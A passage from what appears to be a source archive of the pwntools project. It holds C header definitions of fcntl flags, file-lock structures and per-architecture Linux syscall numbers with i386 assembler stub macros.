operations */ #define LOCK_WRITE 128 /* ... Which allows concurrent write operations */ #define LOCK_RW 192 /* ... Which allows concurrent read & write ops */ #ifndef __mips64__ struct flock { int16_t l_type; int16_t l_whence; off_t l_start; off_t l_len; long l_sysid; /* XXXXXXXXXXXXXXXXXXXXXXXXX */ pid_t l_pid; long pad[4]; /* ZZZZZZZZZZZZZZZZZZZZZZZZZZ */ }; struct flock64 { int16_t l_type; int16_t l_whence; loff_t l_start; loff_t l_len; pid_t l_pid; }; #else struct flock { int16_t l_type; int16_t l_whence; off_t l_start; off_t l_len; pid_t l_pid; }; #define flock64 flock #endif #elif defined(__sparc__) #define O_RDONLY 0x0000 #define O_WRONLY 0x0001 #define O_RDWR 0x0002 #define O_ACCMODE 0x0003 #define O_APPEND 0x0008 #define FASYNC 0x0040 /* fcntl, for BSD compatibility */ #define O_CREAT 0x0200 /* not fcntl */ #define O_TRUNC 0x0400 /* not fcntl */ #define O_EXCL 0x0800 /* not fcntl */ #define O_DSYNC 0x2000 #define O_NONBLOCK 0x4000 #define O_NDELAY (0x0004 | O_NONBLOCK) #define O_NOCTTY 0x8000 /* not fcntl */ #define O_DIRECTORY 0x10000 /* must be a directory */ #define O_NOFOLLOW 0x20000 /* don't follow links */ #define O_LARGEFILE 0x40000 #define O_DIRECT 0x100000 /* direct disk access hint */ #define O_NOATIME 0x200000 #define O_CLOEXEC 0x400000 #define O_SYNC (0x800000|O_DSYNC) #define O_PATH 0x1000000 #define __O_TMPFILE 0x2000000 #define F_DUPFD 0 /* dup */ #define F_GETFD 1 /* get close_on_exec */ #define F_SETFD 2 /* set/clear close_on_exec */ #define F_GETFL 3 /* get file->f_flags */ #define F_SETFL 4 /* set file->f_flags */ #define F_GETOWN 5 /* for sockets. */ #define F_SETOWN 6 /* for sockets. */ #define F_GETLK 7 #define F_SETLK 8 #define F_SETLKW 9 #define F_SETSIG 10 /* for sockets. */ #define F_GETSIG 11 /* for sockets. */ #define F_GETLK64 12 /* using 'struct flock64' */ #define F_SETLK64 13 #define F_SETLKW64 14 /* for F_[GET|SET]FL */ #define FD_CLOEXEC 1 /* actually anything with low bit set goes */ /* for posix fcntl() and lockf() */ #define F_RDLCK 1 #define F_WRLCK 2 #define F_UNLCK 3 /* for old implementation of bsd flock () */ #define F_EXLCK 4 /* or 3 */ #define F_SHLCK 8 /* or 4 */ /* for leases */ #define F_INPROGRESS 16 /* operations for bsd flock(), also used by the kernel implementation */ #define LOCK_SH 1 /* shared lock */ #define LOCK_EX 2 /* exclusive lock */ #define LOCK_NB 4 /* or'd with one of the above to prevent blocking */ #define LOCK_UN 8 /* remove lock */ #define LOCK_MAND 32 /* This is a mandatory flock */ #define LOCK_READ 64 /* ... Which allows concurrent read operations */ #define LOCK_WRITE 128 /* ... Which allows concurrent write operations */ #define LOCK_RW 192 /* ... Which allows concurrent read & write ops */ struct flock { int16_t l_type; int16_t l_whence; off_t l_start; off_t l_len; pid_t l_pid; int16_t __unused; }; #ifdef __arch64__ #define flock64 flock #else struct flock64 { int16_t l_type; int16_t l_whence; loff_t l_start; loff_t l_len; pid_t l_pid; int16_t __unused; }; #endif #elif defined(__powerpc__) || defined(__powerpc64__) #define O_ACCMODE 0003 #define O_RDONLY 00 #define O_WRONLY 01 #define O_RDWR 02 #define O_CREAT 0100 /* not fcntl */ #define O_EXCL 0200 /* not fcntl */ #define O_NOCTTY 0400 /* not fcntl */ #define O_TRUNC 01000 /* not fcntl */ #define O_APPEND 02000 #define O_NONBLOCK 04000 #define O_NDELAY O_NONBLOCK #define O_DSYNC 010000 #define FASYNC 020000 /* fcntl, for BSD compatibility */ #define O_DIRECTORY 040000 /* must be a directory */ #define O_NOFOLLOW 0100000 /* don't follow links */ #define O_LARGEFILE 0200000 #define O_DIRECT 0400000 /* direct disk access hint - currently ignored */ #define O_NOATIME 01000000 #define O_CLOEXEC 02000000 #define O_SYNC (O_DSYNC|04000000) #define O_PATH 010000000 #define __O_TMPFILE 020000000 #define F_DUPFD 0 /* dup */ #define F_GETFD 1 /* get close_on_exec */ #define F_SETFD 2 /* set/clear close_on_exec */ #define F_GETFL 3 /* get file->f_flags */ #define F_SETFL 4 /* set file->f_flags */ #define F_GETLK 5 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 8 /* for sockets. */ #define F_GETOWN 9 /* for sockets. */ #define F_SETSIG 10 /* for sockets. */ #define F_GETSIG 11 /* for sockets. */ #define F_GETLK64 12 /* using 'struct flock64' */ #define F_SETLK64 13 #define F_SETLKW64 14 /* for F_[GET|SET]FL */ #define FD_CLOEXEC 1 /* actually anything with low bit set goes */ /* for posix fcntl() and lockf() */ #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 /* for old implementation of bsd flock () */ #define F_EXLCK 4 /* or 3 */ #define F_SHLCK 8 /* or 4 */ /* for leases */ #define F_INPROGRESS 16 /* operations for bsd flock(), also used by the kernel implementation */ #define LOCK_SH 1 /* shared lock */ #define LOCK_EX 2 /* exclusive lock */ #define LOCK_NB 4 /* or'd with one of the above to prevent blocking */ #define LOCK_UN 8 /* remove lock */ #define LOCK_MAND 32 /* This is a mandatory flock */ #define LOCK_READ 64 /* ... Which allows concurrent read operations */ #define LOCK_WRITE 128 /* ... Which allows concurrent write operations */ #define LOCK_RW 192 /* ... Which allows concurrent read & write ops */ struct flock { int16_t l_type; int16_t l_whence; off_t l_start; off_t l_len; pid_t l_pid; }; struct flock64 { int16_t l_type; int16_t l_whence; loff_t l_start; loff_t l_len; pid_t l_pid; }; #elif defined (__arm__) || defined(__aarch64__) #define O_ACCMODE 0003 #define O_RDONLY 00 #define O_WRONLY 01 #define O_RDWR 02 #define O_CREAT 0100 /* not fcntl */ #define O_EXCL 0200 /* not fcntl */ #define O_NOCTTY 0400 /* not fcntl */ #define O_TRUNC 01000 /* not fcntl */ #define O_APPEND 02000 #define O_NONBLOCK 04000 #define O_NDELAY O_NONBLOCK #define O_DSYNC 010000 #define FASYNC 020000 /* fcntl, for BSD compatibility */ #define O_DIRECTORY 040000 /* must be a directory */ #define O_NOFOLLOW 0100000 /* don't follow links */ #define O_DIRECT 0200000 /* direct disk access hint - currently ignored */ #ifdef __aarch64__ #define O_LARGEFILE 0 #else #define O_LARGEFILE 0400000 #endif #define O_NOATIME 01000000 #define O_CLOEXEC 02000000 #define O_SYNC (O_DSYNC|04000000) #define O_PATH 010000000 #define __O_TMPFILE 020000000 #define F_DUPFD 0 /* dup */ #define F_GETFD 1 /* get close_on_exec */ #define F_SETFD 2 /* set/clear close_on_exec */ #define F_GETFL 3 /* get file->f_flags */ #define F_SETFL 4 /* set file->f_flags */ #define F_GETLK 5 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 8 /* for sockets. */ #define F_GETOWN 9 /* for sockets. */ #define F_SETSIG 10 /* for sockets. */ #define F_GETSIG 11 /* for sockets. */ #ifdef __arch64__ #define F_GETLK64 5 #define F_SETLK64 6 #define F_SETLKW64 7 #else #define F_GETLK64 12 /* using 'struct flock64' */ #define F_SETLK64 13 #define F_SETLKW64 14 #endif /* for F_[GET|SET]FL */ #define FD_CLOEXEC 1 /* actually anything with low bit set goes */ /* for posix fcntl() and lockf() */ #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 /* for old implementation of bsd flock () */ #define F_EXLCK 4 /* or 3 */ #define F_SHLCK 8 /* or 4 */ /* for leases */ #define F_INPROGRESS 16 /* operations for bsd flock(), also used by the kernel implementation */ #define LOCK_SH 1 /* shared lock */ #define LOCK_EX 2 /* exclusive lock */ #define LOCK_NB 4 /* or'd with one of the above to prevent blocking */ #define LOCK_UN 8 /* remove lock */ #define LOCK_MAND 32 /* This is a mandatory flock */ #define LOCK_READ 64 /* ... Which allows concurrent read operations */ #define LOCK_WRITE 128 /* ... Which allows concurrent write operations */ #define LOCK_RW 192 /* ... Which allows concurrent read & write ops */ struct flock { int16_t l_type; int16_t l_whence; off_t l_start; off_t l_len; pid_t l_pid; }; struct flock64 { int16_t l_type; int16_t l_whence; loff_t l_start; loff_t l_len; pid_t l_pid; }; #elif defined(__hppa__) /* Copied from bits/fcntl.h */ #define O_RDONLY 00000000 #define O_WRONLY 00000001 #define O_RDWR 00000002 #define O_ACCMODE 00000003 #define O_APPEND 00000010 #define O_BLKSEEK 00000100 /* HPUX only */ #define O_CREAT 00000400 /* not fcntl */ #define O_TRUNC 00001000 /* not fcntl */ #define O_EXCL 00002000 /* not fcntl */ #define O_LARGEFILE 00004000 #define O_ASYNC 00020000 #define __O_SYNC 00100000 #define O_NONBLOCK 00200004 /* HPUX has separate NDELAY & NONBLOCK */ #define O_NDELAY O_NONBLOCK #define O_NOCTTY 00400000 /* not fcntl */ #define O_DSYNC 01000000 /* HPUX only */ #define O_RSYNC 02000000 /* HPUX only */ #define O_NOATIME 04000000 #define O_CLOEXEC 010000000 #define O_DIRECTORY 00010000 #define O_DIRECT 00040000 /* direct disk access hint - currently ignored */ #define O_NOFOLLOW 00000200 /* don't follow links */ #define O_INVISIBLE 04000000 /* invisible I/O, for DMAPI/XDSM */ #define O_PATH 020000000 #define __O_TMPFILE 040000000 #define O_SYNC (__O_SYNC|O_DSYNC) #define F_DUPFD 0 /* Duplicate file descriptor. */ #define F_GETFD 1 /* Get file descriptor flags. */ #define F_SETFD 2 /* Set file descriptor flags. */ #define F_GETFL 3 /* Get file status flags. */ #define F_SETFL 4 /* Set file status flags. */ #define F_GETLK 5 /* Get record locking info. */ #define F_SETLK 6 /* Set record locking info (non-blocking). */ #define F_SETLKW 7 /* Set record locking info (blocking). */ #define F_GETLK64 8 /* Get record locking info. */ #define F_SETLK64 9 /* Set record locking info (non-blocking). */ #define F_SETLKW64 10 /* Set record locking info (blocking). */ #define F_GETOWN 11 /* for sockets. */ #define F_SETOWN 12 /* for sockets. */ #define F_SETSIG 13 /* for sockets. */ #define F_GETSIG 14 /* for sockets. */ #define FD_CLOEXEC 1 /* actually anything with low bit set goes */ #define F_RDLCK 1 /* Read lock. */ #define F_WRLCK 2 /* Write lock. */ #define F_UNLCK 3 /* Remove lock. */ #define F_EXLCK 4 /* or 3 */ #define F_SHLCK 8 /* or 4 */ /* for leases */ #define F_INPROGRESS 16 /* operations for bsd flock(), also used by the kernel implementation */ #define LOCK_SH 1 /* shared lock */ #define LOCK_EX 2 /* exclusive lock */ #define LOCK_NB 4 /* or'd with one of the above to prevent blocking */ #define LOCK_UN 8 /* remove lock */ #define LOCK_MAND 32 /* This is a mandatory flock */ #define LOCK_READ 64 /* ... Which allows concurrent read operations */ #define LOCK_WRITE 128 /* ... Which allows concurrent write operations */ #define LOCK_RW 192 /* ... Which allows concurrent read & write ops */ struct flock { int16_t l_type; /* Type of lock: F_RDLCK, F_WRLCK, or F_UNLCK. */ int16_t l_whence; /* Where `l_start' is relative to (like `lseek'). */ off_t l_start; /* Offset where the lock begins. */ off_t l_len; /* Size of the locked area; zero means until EOF. */ pid_t l_pid; /* Process holding the lock. */ }; struct flock64 { int16_t l_type; /* Type of lock: F_RDLCK, F_WRLCK, or F_UNLCK. */ int16_t l_whence; /* Where `l_start' is relative to (like `lseek'). */ off64_t l_start; /* Offset where the lock begins. */ off64_t l_len; /* Size of the locked area; zero means until EOF. */ pid_t l_pid; /* Process holding the lock. */ }; #endif #define O_TMPFILE (__O_TMPFILE | O_DIRECTORY) #ifdef _GNU_SOURCE #define F_SETLEASE (F_LINUX_SPECIFIC_BASE + 0) #define F_GETLEASE (F_LINUX_SPECIFIC_BASE + 1) /* * Cancel a blocking posix lock; internal use only until we expose an * asynchronous lock api to userspace: */ #define F_CANCELLK (F_LINUX_SPECIFIC_BASE + 5) /* Create a file descriptor with FD_CLOEXEC set. */ #define F_DUPFD_CLOEXEC (F_LINUX_SPECIFIC_BASE + 6) /* * Request nofications on a directory. * See below for events that may be notified. */ #define F_NOTIFY (F_LINUX_SPECIFIC_BASE+2) /* * Set and get of pipe page size array */ #define F_SETPIPE_SZ (F_LINUX_SPECIFIC_BASE + 7) #define F_GETPIPE_SZ (F_LINUX_SPECIFIC_BASE + 8) /* * Set/Get seals */ #define F_ADD_SEALS (F_LINUX_SPECIFIC_BASE + 9) #define F_GET_SEALS (F_LINUX_SPECIFIC_BASE + 10) /* * Types of seals */ #define F_SEAL_SEAL 0x0001 /* prevent further seals from being set */ #define F_SEAL_SHRINK 0x0002 /* prevent file from shrinking */ #define F_SEAL_GROW 0x0004 /* prevent file from growing */ #define F_SEAL_WRITE 0x0008 /* prevent writes */ /* (1U << 31) is reserved for signed error codes */ #endif extern int fcntl (int __fd, int __cmd, ...) __THROW; #ifndef __NO_STAT64 extern int fcntl64 (int __fd, int __cmd, ...) __THROW; extern int fstatat64(int dirfd, const char *pathname, struct stat64 *buf, int flags) __THROW; #if defined _FILE_OFFSET_BITS && _FILE_OFFSET_BITS == 64 #define fcntl fcntl64 #define fstatat fstatat64 #endif #endif #if !defined(O_ASYNC) && defined(FASYNC) #define O_ASYNC FASYNC #endif #if defined(_LINUX_SOURCE) || defined(_GNU_SOURCE) ssize_t readahead(int fd, off64_t *offset, size_t count) __THROW; #endif #ifdef _GNU_SOURCE enum { SPLICE_F_MOVE=1, /* move pages instead of copying */ #define SPLICE_F_MOVE SPLICE_F_MOVE SPLICE_F_NONBLOCK=2, /* don't block on splicing (may still block on fd we splice */ #define SPLICE_F_NONBLOCK SPLICE_F_NONBLOCK SPLICE_F_MORE=4, /* expect more data */ #define SPLICE_F_MORE SPLICE_F_MORE SPLICE_F_GIFT=8 /* pages passed in are a gift */ #define SPLICE_F_GIFT SPLICE_F_GIFT }; ssize_t tee(int fd_in, int fd_out, size_t len, unsigned int flags) __THROW; #include ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags) __THROW; ssize_t vmsplice(int fd, const struct iovec *iov, unsigned long nr_segs, unsigned int flags) __THROW; int sync_file_range(int fd, off64_t offset, off64_t nbytes, unsigned int flags) __THROW; #define FALLOC_FL_KEEP_SIZE 1 int fallocate(int fd, int mode, loff_t offset, loff_t len) __THROW; /* * Types of directory notifications that may be requested. */ #define DN_ACCESS 0x00000001 /* File accessed */ #define DN_MODIFY 0x00000002 /* File modified */ #define DN_CREATE 0x00000004 /* File created */ #define DN_DELETE 0x00000008 /* File removed */ #define DN_RENAME 0x00000010 /* File renamed */ #define DN_ATTRIB 0x00000020 /* File changed attibutes */ #define DN_MULTISHOT 0x80000000 /* Don't remove notifier */ #endif #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 struct f_owner_ex { int type; int pid; }; #define AT_FDCWD -100 /* Special value used to indicate openat should use the current working directory. */ #define AT_SYMLINK_NOFOLLOW 0x100 /* Do not follow symbolic links. */ #define AT_REMOVEDIR 0x200 /* Remove directory instead of unlinking file. */ #define AT_SYMLINK_FOLLOW 0x400 /* Follow symbolic links. */ #define AT_NO_AUTOMOUNT 0x800 /* Suppress terminal automount traversal */ #define AT_EMPTY_PATH 0x1000 /* Allow empty relative pathname */ /* for faccessat */ #define AT_EACCESS 0x200 /* using euid, not uid for accessat */ int openat(int dirfd, const char *pathname, int flags, ...) __THROW; int futimesat(int dirfd, const char *pathname, const struct timeval times[2]) __THROW; int unlinkat(int dirfd, const char *pathname, int flags) __THROW; #if (defined(_XOPEN_SOURCE) && (_XOPEN_SOURCE - 0) >= 600) || defined(_POSIX_SOURCE) #include "linux/fadvise.h" int posix_fallocate(int fd, off64_t offset, off64_t len) __THROW; int posix_fadvise(int fd, off64_t offset, off64_t len, int advice) __THROW; #endif __END_DECLS #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/i386/000077500000000000000000000000001507273764500267575ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/i386/syscalls.h000066400000000000000000000317011507273764500307670ustar00rootroot00000000000000 #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 #define __NR_write 4 #define __NR_open 5 #define __NR_close 6 #define __NR_waitpid 7 #define __NR_creat 8 #define __NR_link 9 #define __NR_unlink 10 #define __NR_execve 11 #define __NR_chdir 12 #define __NR_time 13 #define __NR_mknod 14 #define __NR_chmod 15 #define __NR_lchown 16 #define __NR_break 17 #define __NR_oldstat 18 #define __NR_lseek 19 #define __NR_getpid 20 #define __NR_mount 21 #define __NR_umount 22 #define __NR_setuid 23 #define __NR_getuid 24 #define __NR_stime 25 #define __NR_ptrace 26 #define __NR_alarm 27 #define __NR_oldfstat 28 #define __NR_pause 29 #define __NR_utime 30 #define __NR_stty 31 #define __NR_gtty 32 #define __NR_access 33 #define __NR_nice 34 #define __NR_ftime 35 #define __NR_sync 36 #define __NR_kill 37 #define __NR_rename 38 #define __NR_mkdir 39 #define __NR_rmdir 40 #define __NR_dup 41 #define __NR_pipe 42 #define __NR_times 43 #define __NR_prof 44 #define __NR_brk 45 #define __NR_setgid 46 #define __NR_getgid 47 #define __NR_signal 48 #define __NR_geteuid 49 #define __NR_getegid 50 #define __NR_acct 51 #define __NR_umount2 52 #define __NR_lock 53 #define __NR_ioctl 54 #define __NR_fcntl 55 #define __NR_mpx 56 #define __NR_setpgid 57 #define __NR_ulimit 58 #define __NR_oldolduname 59 #define __NR_umask 60 #define __NR_chroot 61 #define __NR_ustat 62 #define __NR_dup2 63 #define __NR_getppid 64 #define __NR_getpgrp 65 #define __NR_setsid 66 #define __NR_sigaction 67 #define __NR_sgetmask 68 #define __NR_ssetmask 69 #define __NR_setreuid 70 #define __NR_setregid 71 #define __NR_sigsuspend 72 #define __NR_sigpending 73 #define __NR_sethostname 74 #define __NR_setrlimit 75 #define __NR_getrlimit 76 /* Back compatible 2Gig limited rlimit */ #define __NR_getrusage 77 #define __NR_gettimeofday 78 #define __NR_settimeofday 79 #define __NR_getgroups 80 #define __NR_setgroups 81 #define __NR_select 82 #define __NR_symlink 83 #define __NR_oldlstat 84 #define __NR_readlink 85 #define __NR_uselib 86 #define __NR_swapon 87 #define __NR_reboot 88 #define __NR_readdir 89 #define __NR_mmap 90 #define __NR_munmap 91 #define __NR_truncate 92 #define __NR_ftruncate 93 #define __NR_fchmod 94 #define __NR_fchown 95 #define __NR_getpriority 96 #define __NR_setpriority 97 #define __NR_profil 98 #define __NR_statfs 99 #define __NR_fstatfs 100 #define __NR_ioperm 101 #define __NR_socketcall 102 #define __NR_syslog 103 #define __NR_setitimer 104 #define __NR_getitimer 105 #define __NR_stat 106 #define __NR_lstat 107 #define __NR_fstat 108 #define __NR_olduname 109 #define __NR_iopl 110 #define __NR_vhangup 111 #define __NR_idle 112 #define __NR_vm86old 113 #define __NR_wait4 114 #define __NR_swapoff 115 #define __NR_sysinfo 116 #define __NR_ipc 117 #define __NR_fsync 118 #define __NR_sigreturn 119 #define __NR_clone 120 #define __NR_setdomainname 121 #define __NR_uname 122 #define __NR_modify_ldt 123 #define __NR_adjtimex 124 #define __NR_mprotect 125 #define __NR_sigprocmask 126 #define __NR_create_module 127 #define __NR_init_module 128 #define __NR_delete_module 129 #define __NR_get_kernel_syms 130 #define __NR_quotactl 131 #define __NR_getpgid 132 #define __NR_fchdir 133 #define __NR_bdflush 134 #define __NR_sysfs 135 #define __NR_personality 136 #define __NR_afs_syscall 137 /* Syscall for Andrew File System */ #define __NR_setfsuid 138 #define __NR_setfsgid 139 #define __NR__llseek 140 #define __NR_getdents 141 #define __NR__newselect 142 #define __NR_flock 143 #define __NR_msync 144 #define __NR_readv 145 #define __NR_writev 146 #define __NR_getsid 147 #define __NR_fdatasync 148 #define __NR__sysctl 149 #define __NR_mlock 150 #define __NR_munlock 151 #define __NR_mlockall 152 #define __NR_munlockall 153 #define __NR_sched_setparam 154 #define __NR_sched_getparam 155 #define __NR_sched_setscheduler 156 #define __NR_sched_getscheduler 157 #define __NR_sched_yield 158 #define __NR_sched_get_priority_max 159 #define __NR_sched_get_priority_min 160 #define __NR_sched_rr_get_interval 161 #define __NR_nanosleep 162 #define __NR_mremap 163 #define __NR_setresuid 164 #define __NR_getresuid 165 #define __NR_vm86 166 #define __NR_query_module 167 #define __NR_poll 168 #define __NR_nfsservctl 169 #define __NR_setresgid 170 #define __NR_getresgid 171 #define __NR_prctl 172 #define __NR_rt_sigreturn 173 #define __NR_rt_sigaction 174 #define __NR_rt_sigprocmask 175 #define __NR_rt_sigpending 176 #define __NR_rt_sigtimedwait 177 #define __NR_rt_sigqueueinfo 178 #define __NR_rt_sigsuspend 179 #define __NR_pread 180 #define __NR_pwrite 181 #define __NR_chown 182 #define __NR_getcwd 183 #define __NR_capget 184 #define __NR_capset 185 #define __NR_sigaltstack 186 #define __NR_sendfile 187 #define __NR_getpmsg 188 /* some people actually want streams */ #define __NR_putpmsg 189 /* some people actually want streams */ #define __NR_vfork 190 #define __NR_ugetrlimit 191 /* SuS compliant getrlimit */ #define __NR_mmap2 192 #define __NR_truncate64 193 #define __NR_ftruncate64 194 #define __NR_stat64 195 #define __NR_lstat64 196 #define __NR_fstat64 197 #define __NR_lchown32 198 #define __NR_getuid32 199 #define __NR_getgid32 200 #define __NR_geteuid32 201 #define __NR_getegid32 202 #define __NR_setreuid32 203 #define __NR_setregid32 204 #define __NR_getgroups32 205 #define __NR_setgroups32 206 #define __NR_fchown32 207 #define __NR_setresuid32 208 #define __NR_getresuid32 209 #define __NR_setresgid32 210 #define __NR_getresgid32 211 #define __NR_chown32 212 #define __NR_setuid32 213 #define __NR_setgid32 214 #define __NR_setfsuid32 215 #define __NR_setfsgid32 216 #define __NR_pivot_root 217 #define __NR_mincore 218 #define __NR_madvise 219 #define __NR_madvise1 219 /* delete when C lib stub is removed */ #define __NR_getdents64 220 #define __NR_fcntl64 221 /* 223 is unused */ #define __NR_gettid 224 #define __NR_readahead 225 #define __NR_setxattr 226 #define __NR_lsetxattr 227 #define __NR_fsetxattr 228 #define __NR_getxattr 229 #define __NR_lgetxattr 230 #define __NR_fgetxattr 231 #define __NR_listxattr 232 #define __NR_llistxattr 233 #define __NR_flistxattr 234 #define __NR_removexattr 235 #define __NR_lremovexattr 236 #define __NR_fremovexattr 237 #define __NR_tkill 238 #define __NR_sendfile64 239 #define __NR_futex 240 #define __NR_sched_setaffinity 241 #define __NR_sched_getaffinity 242 #define __NR_set_thread_area 243 #define __NR_get_thread_area 244 #define __NR_io_setup 245 #define __NR_io_destroy 246 #define __NR_io_getevents 247 #define __NR_io_submit 248 #define __NR_io_cancel 249 #define __NR_fadvise64 250 #define __NR_exit_group 252 #define __NR_lookup_dcookie 253 #define __NR_epoll_create 254 #define __NR_epoll_ctl 255 #define __NR_epoll_wait 256 #define __NR_remap_file_pages 257 #define __NR_set_tid_address 258 #define __NR_timer_create 259 #define __NR_timer_settime (__NR_timer_create+1) #define __NR_timer_gettime (__NR_timer_create+2) #define __NR_timer_getoverrun (__NR_timer_create+3) #define __NR_timer_delete (__NR_timer_create+4) #define __NR_clock_settime (__NR_timer_create+5) #define __NR_clock_gettime (__NR_timer_create+6) #define __NR_clock_getres (__NR_timer_create+7) #define __NR_clock_nanosleep (__NR_timer_create+8) #define __NR_statfs64 268 #define __NR_fstatfs64 269 #define __NR_tgkill 270 #define __NR_utimes 271 #define __NR_fadvise64_64 272 #define __NR_vserver 273 #define __NR_mbind 274 #define __NR_get_mempolicy 275 #define __NR_set_mempolicy 276 #define __NR_mq_open 277 #define __NR_mq_unlink (__NR_mq_open+1) #define __NR_mq_timedsend (__NR_mq_open+2) #define __NR_mq_timedreceive (__NR_mq_open+3) #define __NR_mq_notify (__NR_mq_open+4) #define __NR_mq_getsetattr (__NR_mq_open+5) #define __NR_sys_kexec_load 283 #define __NR_waitid 284 /* #define __NR_sys_setaltroot 285 */ #define __NR_add_key 286 #define __NR_request_key 287 #define __NR_keyctl 288 #define __NR_ioprio_set 289 #define __NR_ioprio_get 290 #define __NR_inotify_init 291 #define __NR_inotify_add_watch 292 #define __NR_inotify_rm_watch 293 #define __NR_migrate_pages 294 #define __NR_openat 295 #define __NR_mkdirat 296 #define __NR_mknodat 297 #define __NR_fchownat 298 #define __NR_futimesat 299 #define __NR_fstatat64 300 #define __NR_unlinkat 301 #define __NR_renameat 302 #define __NR_linkat 303 #define __NR_symlinkat 304 #define __NR_readlinkat 305 #define __NR_fchmodat 306 #define __NR_faccessat 307 #define __NR_pselect6 308 #define __NR_ppoll 309 #define __NR_unshare 310 #define __NR_set_robust_list 311 #define __NR_get_robust_list 312 #define __NR_splice 313 #define __NR_sync_file_range 314 #define __NR_tee 315 #define __NR_vmsplice 316 #define __NR_move_pages 317 #define __NR_getcpu 318 #define __NR_epoll_pwait 319 #define __NR_utimensat 320 #define __NR_signalfd 321 #define __NR_timerfd 322 #define __NR_eventfd 323 #define __NR_fallocate 324 #define __NR_timerfd_settime 325 #define __NR_timerfd_gettime 326 #define __NR_signalfd4 327 #define __NR_eventfd2 328 #define __NR_epoll_create1 329 #define __NR_dup3 330 #define __NR_pipe2 331 #define __NR_inotify_init1 332 #define __NR_preadv 333 #define __NR_pwritev 334 #define __NR_rt_tgsigqueueinfo 335 #define __NR_perf_event_open 336 #define __NR_recvmmsg 337 #define __NR_fanotify_init 338 #define __NR_fanotify_mark 339 #define __NR_prlimit64 340 #define __NR_name_to_handle_at 341 #define __NR_open_by_handle_at 342 #define __NR_clock_adjtime 343 #define __NR_syncfs 344 #define __NR_sendmmsg 345 #define __NR_setns 346 #define __NR_process_vm_readv 347 #define __NR_process_vm_writev 348 #define __NR_kcmp 349 #define __NR_finit_module 350 #define __NR_sched_setattr 351 #define __NR_sched_getattr 352 #define __NR_renameat2 353 #define __NR_seccomp 354 #define __NR_getrandom 355 #define __NR_memfd_create 356 #define __NR_bpf 357 #define __NR_execveat 358 #define __NR_socket 359 #define __NR_socketpair 360 #define __NR_bind 361 #define __NR_connect 362 #define __NR_listen 363 #define __NR_accept4 364 #define __NR_getsockopt 365 #define __NR_setsockopt 366 #define __NR_getsockname 367 #define __NR_getpeername 368 #define __NR_sendto 369 #define __NR_sendmsg 370 #define __NR_recvfrom 371 #define __NR_recvmsg 372 #define __NR_shutdown 373 #define __NR_userfaultfd 374 #define __NR_membarrier 375 #define __NR_mlock2 376 #define __NR_copy_file_range 377 #define __NR_preadv2 378 #define __NR_pwritev2 379 #define __NR_pkey_mprotect 380 #define __NR_pkey_alloc 381 #define __NR_pkey_free 382 #define __NR_ia32_statx 383 #define __NR_ia32_arch_prctl 384 #define __NR_ia32_io_pgetevents 385 #define __NR_ia32_rseq 386 #define __NR_semget 393 #define __NR_semctl 394 #define __NR_shmget 395 #define __NR_shmctl 396 #define __NR_shmat 397 #define __NR_shmdt 398 #define __NR_msgget 399 #define __NR_msgsnd 400 #define __NR_msgrcv 401 #define __NR_msgctl 402 #define __NR_clock_gettime64 403 #define __NR_clock_settime64 404 #define __NR_clock_adjtime64 405 #define __NR_clock_getres_time64 406 #define __NR_clock_nanosleep_time64 407 #define __NR_timer_gettime64 408 #define __NR_timer_settime64 409 #define __NR_timerfd_gettime64 410 #define __NR_timerfd_settime64 411 #define __NR_utimensat_time64 412 #define __NR_pselect6_time64 413 #define __NR_ppoll_time64 414 #define __NR_io_pgetevents_time64 416 #define __NR_recvmmsg_time64 417 #define __NR_mq_timedsend_time64 418 #define __NR_mq_timedreceive_time64 419 #define __NR_semtimedop_time64 420 #define __NR_rt_sigtimedwait_time64 421 #define __NR_futex_time64 422 #define __NR_sched_rr_get_interval_time64 423 #define __NR_pidfd_send_signal 424 #define __NR_io_uring_setup 425 #define __NR_io_uring_enter 426 #define __NR_io_uring_register 427 #define __NR_open_tree 428 #define __NR_move_mount 429 #define __NR_fsopen 430 #define __NR_fsconfig 431 #define __NR_fsmount 432 #define __NR_fspick 433 #define __NR_pidfd_open 434 #define __NR_clone3 435 #define __NR_openat2 437 #define __NR_pidfd_getfd 438 #define syscall_weak(name,wsym,sym) \ .text; \ .type wsym,@function; \ .weak wsym; \ wsym: ; \ .type sym,@function; \ .global sym; \ sym: \ .ifle __NR_##name-255; \ movb $__NR_##name,%al; \ jmp __unified_syscall; \ .else; \ movw $__NR_##name,%ax; \ jmp __unified_syscall_256; \ .endif; \ .Lend##sym: ; \ .size sym,.Lend##sym-sym #define syscall(name,sym) \ .text; \ .type sym,@function; \ .global sym; \ sym: \ .ifle __NR_##name-255; \ movb $__NR_##name,%al; \ jmp __unified_syscall; \ .else; \ movw $__NR_##name,%ax; \ jmp __unified_syscall_256; \ .endif; \ .Lend##sym: ; \ .size sym,.Lend##sym-sym #ifndef __DYN_LIB #define __socketcall(name,NAME) \ .text; \ .type name,@function; \ .weak name; \ name: ; \ .type __libc_##name,@function; \ .global __libc_##name; \ __libc_##name: ; \ movb $SYS_##NAME,%al; \ jmp socketcall; \ .Lend##name:; \ .size name,.Lend##name-name #else #define __socketcall(name,NAME) #endif Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/ia64/000077500000000000000000000000001507273764500270315ustar00rootroot00000000000000Gallopsled-pwntools-3ad86ec/pwnlib/data/includes/generator/linux/diet/ia64/syscalls.h000066400000000000000000000343151507273764500310450ustar00rootroot00000000000000#ifndef __DLIBC_SYSCALL_H_ #define __DLIBC_SYSCALL_H_ #define __NR_Linux 1024 #define __NR_ni_syscall (__NR_Linux + 0) #define __NR_exit (__NR_Linux + 1) #define __NR_read (__NR_Linux + 2) #define __NR_write (__NR_Linux + 3) #define __NR_open (__NR_Linux + 4) #define __NR_close (__NR_Linux + 5) #define __NR_creat (__NR_Linux + 6) #define __NR_link 